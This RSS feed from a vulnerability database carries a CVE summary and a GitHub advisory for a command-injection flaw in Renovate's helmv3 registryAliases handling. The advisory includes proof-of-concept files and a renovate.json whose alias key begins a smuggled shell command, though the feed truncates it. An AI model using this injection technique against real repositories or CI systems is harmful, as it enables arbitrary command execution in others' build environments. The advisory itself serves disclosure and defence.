<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 11 Oct 2026 14:39:39 +0000</lastBuildDate>
    <item>
      <title>CVE-2024-58376 — Renovate 37.158.0 before 37.199.0 Command Injection via helmv3</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2024-58376</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; renovatebot renovate&lt;/p&gt;
&lt;p&gt;Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager&amp;#39;s registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate&amp;#39;s execution environment.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; renovatebot renovate&lt;/p&gt;
&lt;p&gt;Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager&amp;#39;s registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate&amp;#39;s execution environment.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2024-58376</guid>
    </item>
    <item>
      <title>GHSA-rqgv-292v-5qgr — Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-rqgv-292v-5qgr</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: renovate&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add &amp;lt;key&amp;gt; &amp;lt;parameters&amp;gt;` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:&lt;/p&gt;
&lt;p&gt;test-chart/Chart.yaml:&lt;/p&gt;
&lt;p&gt;```
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts
```&lt;/p&gt;
&lt;p&gt;test-chart/Chart.lock:&lt;/p&gt;
&lt;p&gt;```
dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: &amp;#34;2024-02-16T13:31:20.807026334Z&amp;#34;
```&lt;/p&gt;
&lt;p&gt;Then add the following `renovate.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;$schema&amp;#34;: &amp;#34;https://docs.renovatebot.com/renovate-schema.json&amp;#34;,
  &amp;#34;extends&amp;#34;: [
    &amp;#34;config:base&amp;#34;
  ],
  &amp;#34;registryAliases&amp;#34;: {
    &amp;#34;foo/bar || s…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: renovate&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add &amp;lt;key&amp;gt; &amp;lt;parameters&amp;gt;` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:&lt;/p&gt;
&lt;p&gt;test-chart/Chart.yaml:&lt;/p&gt;
&lt;p&gt;```
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts
```&lt;/p&gt;
&lt;p&gt;test-chart/Chart.lock:&lt;/p&gt;
&lt;p&gt;```
dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: &amp;#34;2024-02-16T13:31:20.807026334Z&amp;#34;
```&lt;/p&gt;
&lt;p&gt;Then add the following `renovate.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;$schema&amp;#34;: &amp;#34;https://docs.renovatebot.com/renovate-schema.json&amp;#34;,
  &amp;#34;extends&amp;#34;: [
    &amp;#34;config:base&amp;#34;
  ],
  &amp;#34;registryAliases&amp;#34;: {
    &amp;#34;foo/bar || s…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-rqgv-292v-5qgr</guid>
    </item>
  </channel>
</rss>
